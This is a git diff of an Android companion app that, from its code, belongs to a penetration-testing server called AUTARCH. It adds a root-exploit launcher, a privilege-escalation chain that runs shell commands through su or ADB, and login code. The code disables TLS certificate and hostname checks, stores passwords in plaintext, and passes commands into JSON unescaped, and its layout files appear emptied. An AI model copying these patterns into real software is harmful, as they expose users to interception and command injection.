btnRootExploit.setOnClickListener { + val serverIp = PrefsManager.getServerIp(requireContext()) + val serverPort = PrefsManager.getWebPort(requireContext()) + if (serverIp.isEmpty()) { + appendLog("Server not configured — set IP in Settings tab") + return@setOnClickListener + } + val url = "https://$serverIp:$serverPort/android-exploit" + try { + startActivity(Intent(Intent.ACTION_VIEW, Uri.parse(url))) + appendLog("Opened exploit page in browser") + } catch (e: Exception) { + appendLog("Could not open browser: ${e.message}") + } + } + } + + private fun startPairingNotification() { + appendLog("Showing pairing notification...") + appendLog("Now open Developer Options > Wireless Debugging > Pair with code") + appendLog("Enter the 6-digit code in the notification") + PairingReceiver.showPairingNotification(requireContext()) + localAdbStatus.text = "Status: waiting for pairing code in notification..." + } + + private fun initializeStatus() { + appendLog("Checking available privilege methods...") + + val ctx = requireContext() + PrivilegeManager.init( + ctx, + PrefsManager.getServerIp(ctx), + PrefsManager.getWebPort(ctx) + ) + + Thread { + val hasRoot = ShellExecutor.isRootAvailable() + val method = PrivilegeManager.refreshMethod() + + handler.post { + rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted" + localAdbStatus.text = "Status: ${LocalAdbClient.getStatusString(requireContext())}" + + val serverIp = PrefsManager.getServerIp(ctx) + serverAdbStatus.text = if (serverIp.isNotEmpty()) { + "Server: $serverIp:${PrefsManager.getWebPort(ctx)}" + } else { + "Server: not configured — set IP in Settings or SCAN on Dashboard" + } + + updateArchonServerStatus() + updatePrivilegeStatus() + appendLog("Best method: ${method.label}") + } + }.start() + } + + private fun updatePrivilegeStatus() { + val method = PrivilegeManager.getAvailableMethod() + val isReady = method != PrivilegeManager.Method.NONE + + setStatusDot(privilegeStatusDot, isReady) + privilegeStatusText.text = "Privilege: ${method.label}" + } + + private fun updateArchonServerStatus() { + Thread { + val running = ArchonClient.isServerRunning(requireContext()) + val info = if (running) ArchonClient.getServerInfo(requireContext()) else null + + handler.post { + setStatusDot(archonServerStatusDot, running) + archonServerStatus.text = if (running) { + "Status: Running ($info)" + } else { + "Status: Not running" + } + btnStopArchonServer.isEnabled = running + } + }.start() + } + + private fun setStatusDot(dot: View, online: Boolean) { + val drawable = GradientDrawable() + drawable.shape = GradientDrawable.OVAL + drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666")) + dot.background = drawable + } + + private fun appendLog(msg: String) { + val current = outputLog.text.toString() + val lines = current.split("\n").takeLast(25) + outputLog.text = (lines + "> $msg").joinToString("\n") + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/AuthManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/AuthManager.kt new file mode 100644 index 0000000..e9d1758 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/AuthManager.kt @@ -0,0 +1,209 @@ +package com.darkhal.archon.util + +import android.content.Context +import android.util.Log +import java.net.CookieManager +import java.net.CookiePolicy +import java.net.HttpURLConnection +import java.net.URL + +/** + * Manages authentication with the AUTARCH web server. + * + * Handles login via JSON API, cookie storage, and attaching + * the session cookie to all outbound HTTP requests. + */ +object AuthManager { + + private const val TAG = "AuthManager" + private const val PREFS_NAME = "archon_auth" + private const val KEY_USERNAME = "username" + private const val KEY_PASSWORD = "password" + private const val KEY_SESSION_COOKIE = "session_cookie" + private const val KEY_LOGGED_IN = "logged_in" + + @Volatile + private var sessionCookie: String? = null + + /** + * Log in to the AUTARCH web server. + * Returns true on success. Stores the session cookie. + */ + fun login(context: Context, username: String, password: String): LoginResult { + val baseUrl = PrefsManager.getAutarchBaseUrl(context) + if (baseUrl.contains("://:" ) || baseUrl.endsWith("://")) { + return LoginResult(false, "No server IP configured") + } + + return try { + val url = URL("$baseUrl/api/login") + val conn = url.openConnection() as HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 5000 + conn.readTimeout = 10000 + conn.requestMethod = "POST" + conn.setRequestProperty("Content-Type", "application/json") + conn.doOutput = true + + val payload = """{"username":"${escapeJson(username)}","password":"${escapeJson(password)}"}""" + conn.outputStream.write(payload.toByteArray()) + + val code = conn.responseCode + val body = if (code in 200..299) { + conn.inputStream.bufferedReader().readText() + } else { + conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code" + } + + // Extract Set-Cookie header + val cookie = conn.getHeaderField("Set-Cookie") + conn.disconnect() + + if (code == 200 && body.contains("\"ok\":true")) { + // Store credentials and cookie + sessionCookie = cookie + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.edit() + .putString(KEY_USERNAME, username) + .putString(KEY_PASSWORD, password) + .putString(KEY_SESSION_COOKIE, cookie ?: "") + .putBoolean(KEY_LOGGED_IN, true) + .apply() + + Log.i(TAG, "Login successful for $username") + LoginResult(true, "Logged in as $username") + } else { + Log.w(TAG, "Login failed: HTTP $code - $body") + LoginResult(false, "Invalid credentials") + } + } catch (e: Exception) { + Log.e(TAG, "Login error", e) + LoginResult(false, "Connection error: ${e.message}") + } + } + + /** + * Check if we have stored credentials and a valid session. + */ + fun isLoggedIn(context: Context): Boolean { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.getBoolean(KEY_LOGGED_IN, false) && + prefs.getString(KEY_USERNAME, null) != null + } + + /** + * Get stored username. + */ + fun getUsername(context: Context): String { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.getString(KEY_USERNAME, "") ?: "" + } + + /** + * Get stored password. + */ + fun getPassword(context: Context): String { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.getString(KEY_PASSWORD, "") ?: "" + } + + /** + * Re-login using stored credentials (refreshes session cookie). + */ + fun refreshSession(context: Context): Boolean { + val username = getUsername(context) + val password = getPassword(context) + if (username.isEmpty() || password.isEmpty()) return false + return login(context, username, password).success + } + + /** + * Attach the session cookie to an HttpURLConnection. + * Call this before sending any request to the AUTARCH server. + */ + fun attachSession(context: Context, conn: HttpURLConnection) { + val cookie = sessionCookie ?: run { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.getString(KEY_SESSION_COOKIE, null) + } + if (cookie != null) { + conn.setRequestProperty("Cookie", cookie) + } + } + + /** + * Make an authenticated POST request to the AUTARCH server. + * Handles cookie attachment and auto-refreshes session on 401. + */ + fun authenticatedPost(context: Context, path: String, jsonPayload: String): HttpResult { + val baseUrl = PrefsManager.getAutarchBaseUrl(context) + return try { + var result = doPost(context, "$baseUrl$path", jsonPayload) + + // If 401, try refreshing session once + if (result.code == 401 || result.code == 302) { + Log.i(TAG, "Session expired, refreshing...") + if (refreshSession(context)) { + result = doPost(context, "$baseUrl$path", jsonPayload) + } + } + + result + } catch (e: Exception) { + Log.e(TAG, "Authenticated POST failed", e) + HttpResult(-1, "", "Connection error: ${e.message}") + } + } + + private fun doPost(context: Context, urlStr: String, jsonPayload: String): HttpResult { + val url = URL(urlStr) + val conn = url.openConnection() as HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 5000 + conn.readTimeout = 15000 + conn.requestMethod = "POST" + conn.setRequestProperty("Content-Type", "application/json") + conn.instanceFollowRedirects = false + conn.doOutput = true + + attachSession(context, conn) + + conn.outputStream.write(jsonPayload.toByteArray()) + + val code = conn.responseCode + + // Capture new cookie if server rotates it + val newCookie = conn.getHeaderField("Set-Cookie") + if (newCookie != null) { + sessionCookie = newCookie + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.edit().putString(KEY_SESSION_COOKIE, newCookie).apply() + } + + val body = if (code in 200..299) { + conn.inputStream.bufferedReader().readText() + } else { + conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code" + } + conn.disconnect() + + return HttpResult(code, body, "") + } + + /** + * Logout — clear stored credentials and cookie. + */ + fun logout(context: Context) { + sessionCookie = null + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.edit().clear().apply() + Log.i(TAG, "Logged out") + } + + private fun escapeJson(s: String): String { + return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n") + } + + data class LoginResult(val success: Boolean, val message: String) + data class HttpResult(val code: Int, val body: String, val error: String) +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrefsManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrefsManager.kt new file mode 100644 index 0000000..2822d0a --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrefsManager.kt @@ -0,0 +1,80 @@ +package com.darkhal.archon.util + +import android.content.Context +import android.content.SharedPreferences + +object PrefsManager { + + private const val PREFS_NAME = "archon_prefs" + + private const val KEY_SERVER_IP = "server_ip" + private const val KEY_WEB_PORT = "web_port" + private const val KEY_ADB_PORT = "adb_port" + private const val KEY_USBIP_PORT = "usbip_port" + private const val KEY_AUTO_RESTART_ADB = "auto_restart_adb" + private const val KEY_BBS_ADDRESS = "bbs_address" + + private const val DEFAULT_SERVER_IP = "" + private const val DEFAULT_WEB_PORT = 8181 + private const val DEFAULT_ADB_PORT = 5555 + private const val DEFAULT_USBIP_PORT = 3240 + private const val DEFAULT_BBS_ADDRESS = "" + + private fun prefs(context: Context): SharedPreferences { + return context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + } + + fun getServerIp(context: Context): String { + return prefs(context).getString(KEY_SERVER_IP, DEFAULT_SERVER_IP) ?: DEFAULT_SERVER_IP + } + + fun setServerIp(context: Context, ip: String) { + prefs(context).edit().putString(KEY_SERVER_IP, ip).apply() + } + + fun getWebPort(context: Context): Int { + return prefs(context).getInt(KEY_WEB_PORT, DEFAULT_WEB_PORT) + } + + fun setWebPort(context: Context, port: Int) { + prefs(context).edit().putInt(KEY_WEB_PORT, port).apply() + } + + fun getAdbPort(context: Context): Int { + return prefs(context).getInt(KEY_ADB_PORT, DEFAULT_ADB_PORT) + } + + fun setAdbPort(context: Context, port: Int) { + prefs(context).edit().putInt(KEY_ADB_PORT, port).apply() + } + + fun getUsbIpPort(context: Context): Int { + return prefs(context).getInt(KEY_USBIP_PORT, DEFAULT_USBIP_PORT) + } + + fun setUsbIpPort(context: Context, port: Int) { + prefs(context).edit().putInt(KEY_USBIP_PORT, port).apply() + } + + fun isAutoRestartAdb(context: Context): Boolean { + return prefs(context).getBoolean(KEY_AUTO_RESTART_ADB, true) + } + + fun setAutoRestartAdb(context: Context, enabled: Boolean) { + prefs(context).edit().putBoolean(KEY_AUTO_RESTART_ADB, enabled).apply() + } + + fun getBbsAddress(context: Context): String { + return prefs(context).getString(KEY_BBS_ADDRESS, DEFAULT_BBS_ADDRESS) ?: DEFAULT_BBS_ADDRESS + } + + fun setBbsAddress(context: Context, address: String) { + prefs(context).edit().putString(KEY_BBS_ADDRESS, address).apply() + } + + fun getAutarchBaseUrl(context: Context): String { + val ip = getServerIp(context) + val port = getWebPort(context) + return "https://$ip:$port" + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrivilegeManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrivilegeManager.kt new file mode 100644 index 0000000..a2d12ed --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrivilegeManager.kt @@ -0,0 +1,199 @@ +package com.darkhal.archon.util + +import android.content.Context +import android.util.Log +import com.darkhal.archon.server.ArchonClient +import com.darkhal.archon.service.LocalAdbClient +import java.net.HttpURLConnection +import java.net.URL + +/** + * Central privilege escalation chain manager. + * Tries methods in order: ROOT → ARCHON_SERVER → LOCAL_ADB → SERVER_ADB → NONE + * + * ARCHON_SERVER is our own privileged process running at UID 2000 (shell level), + * started via app_process through an ADB connection. It replaces Shizuku entirely. + */ +object PrivilegeManager { + + private const val TAG = "PrivilegeManager" + + enum class Method(val label: String) { + ROOT("Root (su)"), + ARCHON_SERVER("Archon Server"), + LOCAL_ADB("Wireless ADB"), + SERVER_ADB("Server ADB"), + NONE("No privileges") + } + + private var cachedMethod: Method? = null + private var serverIp: String = "" + private var serverPort: Int = 8181 + private var appContext: Context? = null + + /** + * Initialize with app context and server connection info. + */ + fun init(context: Context, serverIp: String = "", serverPort: Int = 8181) { + appContext = context.applicationContext + this.serverIp = serverIp + this.serverPort = serverPort + cachedMethod = null + } + + /** + * Update the AUTARCH server connection info. + */ + fun setServerConnection(ip: String, port: Int) { + serverIp = ip + serverPort = port + if (cachedMethod == Method.SERVER_ADB || cachedMethod == Method.NONE) { + cachedMethod = null + } + } + + /** + * Determine the best available privilege method. + */ + fun getAvailableMethod(): Method { + cachedMethod?.let { return it } + + val method = when { + checkRoot() -> Method.ROOT + checkArchonServer() -> Method.ARCHON_SERVER + checkLocalAdb() -> Method.LOCAL_ADB + checkServerAdb() -> Method.SERVER_ADB + else -> Method.NONE + } + + cachedMethod = method + Log.i(TAG, "Available method: ${method.name}") + return method + } + + /** + * Force a re-check of available methods. + */ + fun refreshMethod(): Method { + cachedMethod = null + return getAvailableMethod() + } + + fun isReady(): Boolean = getAvailableMethod() != Method.NONE + + /** + * Execute a command via the best available method. + */ + fun execute(command: String): ShellResult { + return when (getAvailableMethod()) { + Method.ROOT -> executeViaRoot(command) + Method.ARCHON_SERVER -> executeViaArchonServer(command) + Method.LOCAL_ADB -> executeViaLocalAdb(command) + Method.SERVER_ADB -> executeViaServer(command) + Method.NONE -> ShellResult("", "No privilege method available — run Setup first", -1) + } + } + + fun getStatusDescription(): String { + return when (getAvailableMethod()) { + Method.ROOT -> "Connected via root shell" + Method.ARCHON_SERVER -> "Connected via Archon Server (UID 2000)" + Method.LOCAL_ADB -> "Connected via Wireless ADB" + Method.SERVER_ADB -> "Connected via AUTARCH server ($serverIp)" + Method.NONE -> "No privilege access — run Setup" + } + } + + // ── Method checks ───────────────────────────────────────────── + + private fun checkRoot(): Boolean { + return ShellExecutor.isRootAvailable() + } + + private fun checkArchonServer(): Boolean { + val ctx = appContext ?: return false + return ArchonClient.isServerRunning(ctx) + } + + private fun checkLocalAdb(): Boolean { + return LocalAdbClient.isConnected() + } + + private fun checkServerAdb(): Boolean { + if (serverIp.isEmpty()) return false + return try { + val url = URL("https://$serverIp:$serverPort/hardware/status") + val conn = url.openConnection() as HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 3000 + conn.readTimeout = 3000 + conn.requestMethod = "GET" + val code = conn.responseCode + conn.disconnect() + code in 200..399 + } catch (e: Exception) { + false + } + } + + // ── Execution backends ──────────────────────────────────────── + + private fun executeViaRoot(command: String): ShellResult { + return ShellExecutor.executeAsRoot(command) + } + + private fun executeViaArchonServer(command: String): ShellResult { + val ctx = appContext ?: return ShellResult("", "No app context", -1) + return ArchonClient.execute(ctx, command) + } + + private fun executeViaLocalAdb(command: String): ShellResult { + return LocalAdbClient.execute(command) + } + + private fun executeViaServer(command: String): ShellResult { + if (serverIp.isEmpty()) { + return ShellResult("", "Server not configured", -1) + } + + return try { + val url = URL("https://$serverIp:$serverPort/hardware/adb/shell") + val conn = url.openConnection() as HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 5000 + conn.readTimeout = 15000 + conn.requestMethod = "POST" + conn.setRequestProperty("Content-Type", "application/json") + conn.doOutput = true + + val payload = """{"serial":"any","command":"$command"}""" + conn.outputStream.write(payload.toByteArray()) + + val responseCode = conn.responseCode + val response = if (responseCode in 200..299) { + conn.inputStream.bufferedReader().readText() + } else { + conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $responseCode" + } + conn.disconnect() + + if (responseCode in 200..299) { + val stdout = extractJsonField(response, "stdout") ?: response + val stderr = extractJsonField(response, "stderr") ?: "" + val exitCode = extractJsonField(response, "exit_code")?.toIntOrNull() ?: 0 + ShellResult(stdout, stderr, exitCode) + } else { + ShellResult("", "Server HTTP $responseCode: $response", -1) + } + } catch (e: Exception) { + Log.e(TAG, "Server execute failed", e) + ShellResult("", "Server error: ${e.message}", -1) + } + } + + private fun extractJsonField(json: String, field: String): String? { + val pattern = """"$field"\s*:\s*"([^"]*?)"""".toRegex() + val match = pattern.find(json) + return match?.groupValues?.get(1) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/ShellExecutor.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/ShellExecutor.kt new file mode 100644 index 0000000..85ab2bf --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/ShellExecutor.kt @@ -0,0 +1,59 @@ +package com.darkhal.archon.util + +import java.io.BufferedReader +import java.io.InputStreamReader +import java.util.concurrent.TimeUnit + +data class ShellResult( + val stdout: String, + val stderr: String, + val exitCode: Int +) + +object ShellExecutor { + + private const val DEFAULT_TIMEOUT_SEC = 10L + + fun execute(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult { + return try { + val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", command)) + val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS) + + if (!completed) { + process.destroyForcibly() + return ShellResult("", "Command timed out after ${timeoutSec}s", -1) + } + + val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim() + val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim() + + ShellResult(stdout, stderr, process.exitValue()) + } catch (e: Exception) { + ShellResult("", "Error: ${e.message}", -1) + } + } + + fun executeAsRoot(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult { + return try { + val process = Runtime.getRuntime().exec(arrayOf("su", "-c", command)) + val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS) + + if (!completed) { + process.destroyForcibly() + return ShellResult("", "Command timed out after ${timeoutSec}s", -1) + } + + val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim() + val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim() + + ShellResult(stdout, stderr, process.exitValue()) + } catch (e: Exception) { + ShellResult("", "Root error: ${e.message}", -1) + } + } + + fun isRootAvailable(): Boolean { + val result = execute("which su") + return result.exitCode == 0 && result.stdout.isNotEmpty() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/SslHelper.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/SslHelper.kt new file mode 100644 index 0000000..e93a10c --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/SslHelper.kt @@ -0,0 +1,49 @@ +package com.darkhal.archon.util + +import java.net.HttpURLConnection +import java.security.SecureRandom +import java.security.cert.X509Certificate +import javax.net.ssl.HostnameVerifier +import javax.net.ssl.HttpsURLConnection +import javax.net.ssl.SSLContext +import javax.net.ssl.TrustManager +import javax.net.ssl.X509TrustManager + +/** + * SSL helper for connecting to AUTARCH's self-signed HTTPS server. + * + * Since AUTARCH generates a self-signed cert at first launch, + * Android's default trust store will reject it. This helper + * creates a permissive SSLContext for LAN-only connections to + * the known AUTARCH server. + */ +object SslHelper { + + private val trustAllManager = object : X509TrustManager { + override fun checkClientTrusted(chain: Array, authType: String) {} + override fun checkServerTrusted(chain: Array, authType: String) {} + override fun getAcceptedIssuers(): Array = arrayOf() + } + + private val trustAllHostname = HostnameVerifier { _, _ -> true } + + private val sslContext: SSLContext by lazy { + SSLContext.getInstance("TLS").apply { + init(null, arrayOf(trustAllManager), SecureRandom()) + } + } + + val socketFactory get() = sslContext.socketFactory + + /** + * Apply self-signed cert trust to a connection. + * If the connection is HTTPS, sets the permissive SSLSocketFactory + * and hostname verifier. Plain HTTP connections are left unchanged. + */ + fun trustSelfSigned(conn: HttpURLConnection) { + if (conn is HttpsURLConnection) { + conn.sslSocketFactory = socketFactory + conn.hostnameVerifier = trustAllHostname + } + } +} diff --git a/autarch_companion/app/src/main/res/drawable/ic_archon.xml b/autarch_companion/app/src/main/res/drawable/ic_archon.xml new file mode 100644 index 0000000..7115e77 --- /dev/null +++ b/autarch_companion/app/src/main/res/drawable/ic_archon.xml @@ -0,0 +1,40 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/drawable/ic_setup.xml b/autarch_companion/app/src/main/res/drawable/ic_setup.xml new file mode 100644 index 0000000..9407d1d --- /dev/null +++ b/autarch_companion/app/src/main/res/drawable/ic_setup.xml @@ -0,0 +1,12 @@ + + + + + diff --git a/autarch_companion/app/src/main/res/layout/activity_login.xml b/autarch_companion/app/src/main/res/layout/activity_login.xml new file mode 100644 index 0000000..7dcf3f4 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/activity_login.xml @@ -0,0 +1,173 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/activity_main.xml b/autarch_companion/app/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..b4256ec --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/activity_main.xml @@ -0,0 +1,33 @@ + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_dashboard.xml b/autarch_companion/app/src/main/res/layout/fragment_dashboard.xml new file mode 100644 index 0000000..37cadda --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_dashboard.xml @@ -0,0 +1,225 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_links.xml b/autarch_companion/app/src/main/res/layout/fragment_links.xml new file mode 100644 index 0000000..7a74346 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_links.xml @@ -0,0 +1,284 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_modules.xml b/autarch_companion/app/src/main/res/layout/fragment_modules.xml new file mode 100644 index 0000000..f96b671 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_modules.xml @@ -0,0 +1,655 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_settings.xml b/autarch_companion/app/src/main/res/layout/fragment_settings.xml new file mode 100644 index 0000000..8df1a3d --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_settings.xml @@ -0,0 +1,310 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_setup.xml b/autarch_companion/app/src/main/res/layout/fragment_setup.xml new file mode 100644 index 0000000..0017cef --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_setup.xml @@ -0,0 +1,383 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/menu/bottom_nav.xml b/autarch_companion/app/src/main/res/menu/bottom_nav.xml new file mode 100644 index 0000000..1237016 --- /dev/null +++ b/autarch_companion/app/src/main/res/menu/bottom_nav.xml @@ -0,0 +1,23 @@ + + + + + + + + diff --git a/autarch_companion/app/src/main/res/navigation/nav_graph.xml b/autarch_companion/app/src/main/res/navigation/nav_graph.xml new file mode 100644 index 0000000..9da2a6b --- /dev/null +++ b/autarch_companion/app/src/main/res/navigation/nav_graph.xml @@ -0,0 +1,33 @@ + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/values/colors.xml b/autarch_companion/app/src/main/res/values/colors.xml new file mode 100644 index 0000000..20d99fe --- /dev/null +++ b/autarch_companion/app/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FF00FF41 + #FF006B1A + #FF0D0D0D + #FF1A1A1A + #FF111111 + #FFE0E0E0 + #FF888888 + #FF555555 + #FF00FF41 + #FF00FF41 + #FF666666 + #FFFF4444 + #FFFFAA00 + #FF000000 + #FF00FF41 + diff --git a/autarch_companion/app/src/main/res/values/strings.xml b/autarch_companion/app/src/main/res/values/strings.xml new file mode 100644 index 0000000..e1d4a56 --- /dev/null +++ b/autarch_companion/app/src/main/res/values/strings.xml @@ -0,0 +1,61 @@ + + + Archon + + + Dashboard + Links + Modules + Setup + Settings + + + Server Discovery + Tap SCAN to find AUTARCH + LAN / Wi-Fi Direct / Bluetooth + SCAN + + + ARCHON + ADB Control + ADB: checking... + Enable ADB TCP/IP + USB/IP Export + USB/IP: checking... + Enable USB/IP Export + ADB Server + KILL + RESTART + Auto-restart ADB + WireGuard + WG: checking... + Server: -- + > ready_ + + + AUTARCH + Server: -- + Dashboard + WireGuard + Shield + Hardware + Wireshark + OSINT + Defense + Offense + Settings + + + SETTINGS + Server Connection + AUTARCH Server IP + Web UI Port (default: 8181) + ADB Configuration + ADB TCP Port + USB/IP Port + BBS Configuration + Veilid BBS Address + AUTO-DETECT SERVER + TEST + SAVE + diff --git a/autarch_companion/app/src/main/res/values/themes.xml b/autarch_companion/app/src/main/res/values/themes.xml new file mode 100644 index 0000000..0a06a06 --- /dev/null +++ b/autarch_companion/app/src/main/res/values/themes.xml @@ -0,0 +1,16 @@ + + + + diff --git a/autarch_companion/build.gradle.kts b/autarch_companion/build.gradle.kts new file mode 100644 index 0000000..cb472af --- /dev/null +++ b/autarch_companion/build.gradle.kts @@ -0,0 +1,3 @@ +plugins { + id("com.android.application") version "9.0.1" apply false +} diff --git a/autarch_companion/gradle.properties b/autarch_companion/gradle.properties new file mode 100644 index 0000000..f0a2e55 --- /dev/null +++ b/autarch_companion/gradle.properties @@ -0,0 +1,4 @@ +org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8 +android.useAndroidX=true +kotlin.code.style=official +android.nonTransitiveRClass=true diff --git a/autarch_companion/gradle/wrapper/gradle-wrapper.jar b/autarch_companion/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..61285a6 Binary files /dev/null and b/autarch_companion/gradle/wrapper/gradle-wrapper.jar differ diff --git a/autarch_companion/gradle/wrapper/gradle-wrapper.properties b/autarch_companion/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..37f78a6 --- /dev/null +++ b/autarch_companion/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.1-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/autarch_companion/gradlew b/autarch_companion/gradlew new file mode 100644 index 0000000..adff685 --- /dev/null +++ b/autarch_companion/gradlew @@ -0,0 +1,248 @@ +#!/bin/sh + +# +# Copyright © 2015 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf 